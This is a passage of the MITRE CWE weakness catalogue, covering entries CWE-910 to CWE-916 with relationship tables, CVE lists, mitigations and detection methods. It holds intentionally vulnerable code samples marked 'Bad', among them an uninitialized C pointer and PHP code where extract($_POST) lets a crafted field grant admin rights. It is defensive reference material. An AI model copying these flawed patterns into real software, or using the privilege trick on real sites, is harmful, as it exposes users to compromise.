If a null terminator isn't found before `str[8]`, then a buffer overflow could occur, since `strcat` will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

#### **Example 4:**

This example will leave `test_string` in an unknown condition when `i` is the same value as `err_val`, because `test_string` is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), `test_string` might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

*Example Language: C*

*(Bad)*

```
char *test_string;
if (i != err_val)
{
    test_string = "Hello World!";
}
printf("%s", test_string);
```

When the `printf()` is reached, `test_string` might be an unexpected address, so the `printf` might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that `test_string` has been properly set once it reaches the `printf()`.

One solution would be to set `test_string` to an acceptable default before the conditional:

*Example Language: C*

*(Good)*

```
char *test_string = "Done at the beginning";
if (i != err_val)
{
    test_string = "Hello World!";
}
printf("%s", test_string);
```

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that `test_string` is set:

Example Language: C

(Good)

```
char *test_string;
if (i != err_val)
{
    test_string = "Hello World!";
}
else {
    test_string = "Done on the other side!";
}
printf("%s", test_string);
```

## Observed Examples

Reference	Description
<b>CVE-2020-20739</b>	A variable that has its value set in a conditional statement is sometimes used when the conditional fails, sometimes causing data leakage <a href="https://www.cve.org/CVERecord?id=CVE-2020-20739">https://www.cve.org/CVERecord?id=CVE-2020-20739</a>
<b>CVE-2005-1036</b>	Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap <a href="https://www.cve.org/CVERecord?id=CVE-2005-1036">https://www.cve.org/CVERecord?id=CVE-2005-1036</a>

## CWE-910: Use of Expired File Descriptor

**Weakness ID :** 910

**Structure :** Simple

**Abstraction :** Base

### Description

The product uses or accesses a file descriptor after it has been closed.


### Extended Description

After a file descriptor for a particular file or device has been released, it can be reused. The code might not write to the original file, since the reused file descriptor might reference a different file or device.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		672	Operation on a Resource after Expiration or Release	1386

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

### Weakness Ordinalities

**Primary :**

**Resultant :**

### Applicable Platforms

**Language :** C (Prevalence = Sometimes)



**Language** : C++ (Prevalence = Sometimes)

**Language** : Not Language-Specific (Prevalence = Undetermined)

### Alternate Terms

**Stale file descriptor** :

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories <i>The program could read data from the wrong file.</i>	
Availability	DoS: Crash, Exit, or Restart <i>Accessing a file descriptor that has been closed can cause a crash.</i>	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO46-C	Exact	Do not access a closed file

## CWE-911: Improper Update of Reference Count

**Weakness ID** : 911

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.

### Extended Description

Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it. If the reference count accidentally reaches zero, then the resource might be released too soon, even though it is still in use. If all objects no longer use the resource, but the reference count is not zero, then the resource might not ever be released.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
CanPrecede	⊖	672	Operation on a Resource after Expiration or Release	1386
CanPrecede	⊖	772	Missing Release of Resource after Effective Lifetime	1512

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	⊖	399	Resource Management Errors	2117

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** C (Prevalence = Sometimes)

**Language :** C++ (Prevalence = Sometimes)

**Language :** Not Language-Specific (Prevalence = Undetermined)

## Likelihood Of Exploit

Medium

## Observed Examples

Reference	Description
<b>CVE-2002-0574</b>	chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0574">https://www.cve.org/CVERecord?id=CVE-2002-0574</a>
<b>CVE-2004-0114</b>	Reference count for shared memory not decremented when a function fails, potentially allowing unprivileged users to read kernel memory. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0114">https://www.cve.org/CVERecord?id=CVE-2004-0114</a>
<b>CVE-2006-3741</b>	chain: improper reference count tracking leads to file descriptor consumption <a href="https://www.cve.org/CVERecord?id=CVE-2006-3741">https://www.cve.org/CVERecord?id=CVE-2006-3741</a>
<b>CVE-2007-1383</b>	chain: integer overflow in reference counter causes the same variable to be destroyed twice. <a href="https://www.cve.org/CVERecord?id=CVE-2007-1383">https://www.cve.org/CVERecord?id=CVE-2007-1383</a>
<b>CVE-2007-1700</b>	Incorrect reference count calculation leads to improper object destruction and code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2007-1700">https://www.cve.org/CVERecord?id=CVE-2007-1700</a>
<b>CVE-2008-2136</b>	chain: incorrect update of reference count leads to memory leak. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2136">https://www.cve.org/CVERecord?id=CVE-2008-2136</a>
<b>CVE-2008-2785</b>	chain/composite: use of incorrect data type for a reference counter allows an overflow of the counter, leading to a free of memory that is still in use. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2785">https://www.cve.org/CVERecord?id=CVE-2008-2785</a>
<b>CVE-2008-5410</b>	Improper reference counting leads to failure of cryptographic operations. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5410">https://www.cve.org/CVERecord?id=CVE-2008-5410</a>
<b>CVE-2009-1709</b>	chain: improper reference counting in a garbage collection routine leads to use-after-free <a href="https://www.cve.org/CVERecord?id=CVE-2009-1709">https://www.cve.org/CVERecord?id=CVE-2009-1709</a>
<b>CVE-2009-3553</b>	chain: reference count not correctly maintained when client disconnects during a large operation, leading to a use-after-free. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3553">https://www.cve.org/CVERecord?id=CVE-2009-3553</a>
<b>CVE-2009-3624</b>	Reference count not always incremented, leading to crash or code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3624">https://www.cve.org/CVERecord?id=CVE-2009-3624</a>
<b>CVE-2010-0176</b>	improper reference counting leads to expired pointer dereference. <a href="https://www.cve.org/CVERecord?id=CVE-2010-0176">https://www.cve.org/CVERecord?id=CVE-2010-0176</a>

Reference	Description
<b>CVE-2010-0623</b>	OS kernel increments reference count twice but only decrements once, leading to resource consumption and crash. <a href="https://www.cve.org/CVERecord?id=CVE-2010-0623">https://www.cve.org/CVERecord?id=CVE-2010-0623</a>
<b>CVE-2010-2549</b>	OS kernel driver allows code execution <a href="https://www.cve.org/CVERecord?id=CVE-2010-2549">https://www.cve.org/CVERecord?id=CVE-2010-2549</a>
<b>CVE-2010-4593</b>	improper reference counting leads to exhaustion of IP addresses <a href="https://www.cve.org/CVERecord?id=CVE-2010-4593">https://www.cve.org/CVERecord?id=CVE-2010-4593</a>
<b>CVE-2011-0695</b>	Race condition causes reference counter to be decremented prematurely, leading to the destruction of still-active object and an invalid pointer dereference. <a href="https://www.cve.org/CVERecord?id=CVE-2011-0695">https://www.cve.org/CVERecord?id=CVE-2011-0695</a>
<b>CVE-2012-4787</b>	improper reference counting leads to use-after-free <a href="https://www.cve.org/CVERecord?id=CVE-2012-4787">https://www.cve.org/CVERecord?id=CVE-2012-4787</a>

## References

[REF-884]Mateusz "j00ru" Jurczyk. "Windows Kernel Reference Count Vulnerabilities - Case Study". 2012 November. < [http://j00ru.vexillium.org/dump/zn\\_slides.pdf](http://j00ru.vexillium.org/dump/zn_slides.pdf) >.

## CWE-912: Hidden Functionality

**Weakness ID** : 912  
**Structure** : Simple  
**Abstraction** : Class

### Description

The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators.



### Extended Description

Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the product's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		684	Incorrect Provision of Specified Functionality	1410
ParentOf		506	Embedded Malicious Code	1142

### Applicable Platforms

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other Integrity	Varies by Context Alter Execution Logic	

### Potential Mitigations

#### Phase: Installation

Always verify the integrity of the product that is being installed.

#### Phase: Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1371	ICS Supply Chain: Poorly Documented or Undocumented Features	1358	2299

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
133	Try All Common Switches
190	Reverse Engineer an Executable to Expose Assumed Hidden Functionality

## CWE-913: Improper Control of Dynamically-Managed Code Resources

**Weakness ID :** 913

**Structure :** Simple

**Abstraction :** Class

### Description

The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

### Extended Description




Many languages offer powerful features that allow the programmer to dynamically create or modify existing code, or resources used by code such as variables and objects. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can directly influence these code resources in unexpected ways.

### Relationships




The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	B	94	Improper Control of Generation of Code ('Code Injection')	213
ParentOf	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1057

Nature	Type	ID	Name	Page
ParentOf		502	Deserialization of Untrusted Data	1137
ParentOf		914	Improper Control of Dynamically-Identified Variables	1682
ParentOf		915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1684

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf		470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1057
ParentOf		502	Deserialization of Untrusted Data	1137
ParentOf		1321	Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')	2030

### Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Other	Varies by Context	
Integrity	Alter Execution Logic	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

For any externally-influenced input, check the input against an allowlist of acceptable values.

#### Phase: Implementation

#### Phase: Architecture and Design

*Strategy = Refactoring*

Refactor the code so that it does not need to be dynamically managed.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf		1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

## CWE-914: Improper Control of Dynamically-Identified Variables

**Weakness ID :** 914

**Structure :** Simple

**Abstraction :** Base

### Description

The product does not properly restrict reading from or writing to dynamically-identified variables.





### Extended Description

Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can modify unintended variables that have security implications.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		913	Improper Control of Dynamically-Managed Code Resources	1681
ChildOf		99	Improper Control of Resource Identifiers ('Resource Injection')	235
ParentOf		621	Variable Extraction Error	1303
ParentOf		627	Dynamic Variable Evaluation	1314

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

## Weakness Ordinalities

**Primary :**

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data <i>An attacker could modify sensitive data or program variables.</i>	
Integrity	Execute Unauthorized Code or Commands	
Other	Varies by Context	
Integrity	Alter Execution Logic	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

For any externally-influenced input, check the input against an allowlist of internal program variables that are allowed to be modified.

### Phase: Implementation

### Phase: Architecture and Design

*Strategy = Refactoring*

Refactor the code so that internal program variables do not need to be dynamically identified.

## Demonstrative Examples

### Example 1:

This code uses the credentials sent in a POST request to login a user.

*Example Language: PHP*

*(Bad)*

```
//Log user in, and set $isAdmin to true if user is an administrator
```

```
function login($user,$pass){
    $query = buildQuery($user,$pass);
    mysql_query($query);
    if(getUserRole($user) == "Admin"){
        $isAdmin = true;
    }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to `extract()` will overwrite the existing values of any variables defined previously, in this case `$isAdmin`. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

### Observed Examples

Reference	Description
<b>CVE-2006-7135</b>	extract issue enables file inclusion <a href="https://www.cve.org/CVERecord?id=CVE-2006-7135">https://www.cve.org/CVERecord?id=CVE-2006-7135</a>
<b>CVE-2006-7079</b>	extract used for register_globals compatibility layer, enables path traversal <a href="https://www.cve.org/CVERecord?id=CVE-2006-7079">https://www.cve.org/CVERecord?id=CVE-2006-7079</a>
<b>CVE-2007-0649</b>	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect. <a href="https://www.cve.org/CVERecord?id=CVE-2007-0649">https://www.cve.org/CVERecord?id=CVE-2007-0649</a>
<b>CVE-2006-6661</b>	extract() enables static code injection <a href="https://www.cve.org/CVERecord?id=CVE-2006-6661">https://www.cve.org/CVERecord?id=CVE-2006-6661</a>
<b>CVE-2006-2828</b>	import_request_variables() buried in include files makes post-disclosure analysis confusing <a href="https://www.cve.org/CVERecord?id=CVE-2006-2828">https://www.cve.org/CVERecord?id=CVE-2006-2828</a>
<b>CVE-2009-0422</b>	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0422">https://www.cve.org/CVERecord?id=CVE-2009-0422</a>
<b>CVE-2007-2431</b>	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected \$_SERVER variable for resultant XSS. <a href="https://www.cve.org/CVERecord?id=CVE-2007-2431">https://www.cve.org/CVERecord?id=CVE-2007-2431</a>
<b>CVE-2006-4904</b>	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4904">https://www.cve.org/CVERecord?id=CVE-2006-4904</a>
<b>CVE-2006-4019</b>	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4019">https://www.cve.org/CVERecord?id=CVE-2006-4019</a>

## CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

**Weakness ID** : 915

**Structure** : Simple

**Abstraction** : Base

### Description

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

### Extended Description







If the object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability.

This weakness is sometimes known by the language-specific mechanisms that make it possible, such as mass assignment, autobinding, or object injection.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		913	Improper Control of Dynamically-Managed Code Resources	1681
ParentOf		1321	Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')	2030
PeerOf		502	Deserialization of Untrusted Data	1137
PeerOf		502	Deserialization of Untrusted Data	1137

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Ruby (*Prevalence = Undetermined*)

**Language :** ASP.NET (*Prevalence = Undetermined*)

**Language :** PHP (*Prevalence = Undetermined*)

**Language :** Python (*Prevalence = Undetermined*)

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Alternate Terms

**Mass Assignment :** "Mass assignment" is the name of a feature in Ruby on Rails that allows simultaneous modification of multiple object attributes.

**AutoBinding :** The "Autobinding" term is used in frameworks such as Spring MVC and ASP.NET MVC.

**PHP Object Injection :** Some PHP application researchers use this term for attacking unsafe use of the unserialize() function, but it is also used for CWE-502.

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data <i>An attacker could modify sensitive data or program variables.</i>	
Integrity	Execute Unauthorized Code or Commands	
Other Integrity	Varies by Context Alter Execution Logic	

## Potential Mitigations

**Phase: Implementation**

If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists. For applications written with Ruby on Rails, use the `attr_accessible` (allowlist) or `attr_protected` (denylist) macros in each class that may be used in mass assignment.

**Phase: Architecture and Design****Phase: Implementation**

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

**Phase: Implementation**

*Strategy = Input Validation*

For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.

**Phase: Implementation****Phase: Architecture and Design**

*Strategy = Refactoring*

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

**Observed Examples**

Reference	Description
<b>CVE-2012-2054</b>	Mass assignment allows modification of arbitrary attributes using modified URL. <a href="https://www.cve.org/CVERecord?id=CVE-2012-2054">https://www.cve.org/CVERecord?id=CVE-2012-2054</a>
<b>CVE-2012-2055</b>	Source version control product allows modification of trusted key using mass assignment. <a href="https://www.cve.org/CVERecord?id=CVE-2012-2055">https://www.cve.org/CVERecord?id=CVE-2012-2055</a>
<b>CVE-2008-7310</b>	Attackers can bypass payment step in e-commerce product. <a href="https://www.cve.org/CVERecord?id=CVE-2008-7310">https://www.cve.org/CVERecord?id=CVE-2008-7310</a>
<b>CVE-2013-1465</b>	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration. <a href="https://www.cve.org/CVERecord?id=CVE-2013-1465">https://www.cve.org/CVERecord?id=CVE-2013-1465</a>
<b>CVE-2012-3527</b>	Use of PHP unserialize function on untrusted input in content management system might allow code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2012-3527">https://www.cve.org/CVERecord?id=CVE-2012-3527</a>
<b>CVE-2012-0911</b>	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value. <a href="https://www.cve.org/CVERecord?id=CVE-2012-0911">https://www.cve.org/CVERecord?id=CVE-2012-0911</a>
<b>CVE-2012-0911</b>	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2012-0911">https://www.cve.org/CVERecord?id=CVE-2012-0911</a>
<b>CVE-2011-4962</b>	Content management system written in PHP allows code execution through page comments. <a href="https://www.cve.org/CVERecord?id=CVE-2011-4962">https://www.cve.org/CVERecord?id=CVE-2011-4962</a>
<b>CVE-2009-4137</b>	Use of PHP unserialize function on cookie value allows remote code execution or upload of arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2009-4137">https://www.cve.org/CVERecord?id=CVE-2009-4137</a>
<b>CVE-2007-5741</b>	Content management system written in Python interprets untrusted data as pickles, allowing code execution.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2007-5741">https://www.cve.org/CVERecord?id=CVE-2007-5741</a>
<b>CVE-2011-2520</b>	Python script allows local users to execute code via pickled data. <a href="https://www.cve.org/CVERecord?id=CVE-2011-2520">https://www.cve.org/CVERecord?id=CVE-2011-2520</a>
<b>CVE-2005-2875</b>	Python script allows remote attackers to execute arbitrary code using pickled objects. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2875">https://www.cve.org/CVERecord?id=CVE-2005-2875</a>
<b>CVE-2013-0277</b>	Ruby on Rails allows deserialization of untrusted YAML to execute arbitrary code. <a href="https://www.cve.org/CVERecord?id=CVE-2013-0277">https://www.cve.org/CVERecord?id=CVE-2013-0277</a>
<b>CVE-2011-2894</b>	Spring framework allows deserialization of objects from untrusted sources to execute arbitrary code. <a href="https://www.cve.org/CVERecord?id=CVE-2011-2894">https://www.cve.org/CVERecord?id=CVE-2011-2894</a>
<b>CVE-2012-1833</b>	Grails allows binding of arbitrary parameters to modify arbitrary object properties. <a href="https://www.cve.org/CVERecord?id=CVE-2012-1833">https://www.cve.org/CVERecord?id=CVE-2012-1833</a>
<b>CVE-2010-3258</b>	Incorrect deserialization in web browser allows escaping the sandbox. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3258">https://www.cve.org/CVERecord?id=CVE-2010-3258</a>
<b>CVE-2008-1013</b>	Media library allows deserialization of objects by untrusted Java applets, leading to arbitrary code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2008-1013">https://www.cve.org/CVERecord?id=CVE-2008-1013</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2288

### Notes

#### Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

### References

[REF-885]Stefan Esser. "Shocking News in PHP Exploitation". 2009. < <http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf> >.

[REF-886]Dinis Cruz. ""Two Security Vulnerabilities in the Spring Framework's MVC" pdf (from 2008)". < <http://blog.diniscruz.com/2011/07/two-security-vulnerabilities-in-spring.html> >.

[REF-887]Ryan Berg and Dinis Cruz. "Two Security Vulnerabilities in the Spring Framework's MVC". < [http://o2platform.files.wordpress.com/2011/07/ounce\\_springframework\\_vulnerabilities.pdf](http://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf) >.

[REF-888]ASPNETUE. "Best Practices for ASP.NET MVC". 2010 September 7. < [http://blogs.msdn.com/b/aspnetue/archive/2010/09/17/second\\_2d00\\_post.aspx](http://blogs.msdn.com/b/aspnetue/archive/2010/09/17/second_2d00_post.aspx) >.

[REF-889]Michael Hartl. "Mass assignment in Rails applications". 2008 September 1. < <http://blog.mhartl.com/2008/09/21/mass-assignment-in-rails-applications/> >.

[REF-890]Tobi. "Secure your Rails apps!". 2012 March 6. < <http://pragtop.wordpress.com/2012/03/06/secure-your-rails-apps/> >.

[REF-891]Heiko Webers. "Ruby On Rails Security Guide". < <http://guides.rubyonrails.org/security.html#mass-assignment> >.

[REF-892]Josh Bush. "Mass Assignment Vulnerability in ASP.NET MVC". 2012 March 5. < <http://freshbrewedcode.com/joshbush/2012/03/05/mass-assignment-aspnet-mvc/> >.

[REF-893]K. Scott Allen. "6 Ways To Avoid Mass Assignment in ASP.NET MVC". 2012 March 2. < <http://odetocode.com/blogs/scott/archive/2012/03/11/complete-guide-to-mass-assignment-in-asp-net-mvc.aspx> >.

[REF-894]Egidio Romano. "PHP Object Injection". 2013 January 2. < [https://www.owasp.org/index.php/PHP\\_Object\\_Injection](https://www.owasp.org/index.php/PHP_Object_Injection) >.

[REF-464]Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010 August 5. < <http://heine.familiedeelstra.com/security/unserialize> >.

[REF-466]Nadia Alramli. "Why Python Pickle is Insecure". 2009 September 9. < <http://nadiana.com/python-pickle-insecure> >.

## CWE-916: Use of Password Hash With Insufficient Computational Effort

**Weakness ID** : 916

**Structure** : Simple

**Abstraction** : Base

### Description

The product generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive.

### Extended Description

Many password storage mechanisms compute a hash and store the hash, instead of storing the original password in plaintext. In this design, authentication involves accepting an incoming password, computing its hash, and comparing it to the stored hash.

Many hash algorithms are designed to execute quickly with minimal overhead, even cryptographic hashes. However, this efficiency is a problem for password storage, because it can reduce an attacker's workload for brute-force password cracking. If an attacker can obtain the hashes through some other method (such as SQL injection on a database that stores hashes), then the attacker can store the hashes offline and use various techniques to crack the passwords by computing hashes efficiently. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing (such as cloud computing) and GPU, ASIC, or FPGA hardware. In such a scenario, an efficient hash algorithm helps the attacker.

There are several properties of a hash scheme that are relevant to its strength against an offline, massively-parallel attack:

- The amount of CPU time required to compute the hash ("stretching")
- The amount of memory required to compute the hash ("memory-hard" operations)
- Including a random value, along with the password, as input to the hash computation ("salting")
- Given a hash, there is no known way of determining an input (e.g., a password) that produces this hash value, other than by guessing possible inputs ("one-way" hashing)
- Relative to the number of all possible hashes that can be generated by the scheme, there is a low likelihood of producing the same hash for multiple different inputs ("collision resistance")

Note that the security requirements for the product may vary depending on the environment and the value of the passwords. Different schemes might not provide all of these properties, yet may still provide sufficient security for the environment. Conversely, a solution might be very strong in

preserving one property, which still being very weak for an attack against another property, or it might not be able to significantly reduce the efficiency of a massively-parallel attack.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	758
ParentOf		759	Use of a One-Way Hash without a Salt	1474
ParentOf		760	Use of a One-Way Hash with a Predictable Salt	1479

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	758

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	2107
MemberOf		310	Cryptographic Issues	2111

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>If an attacker can gain access to the hashes, then the lack of sufficient computational effort will make it easier to conduct brute force attacks using techniques such as rainbow tables, or specialized hardware such as GPUs, which can be much faster than general-purpose CPUs for computing hashes.</i>	

## Detection Methods

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

#### **Automated Static Analysis**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

*Effectiveness = SOAR Partial*

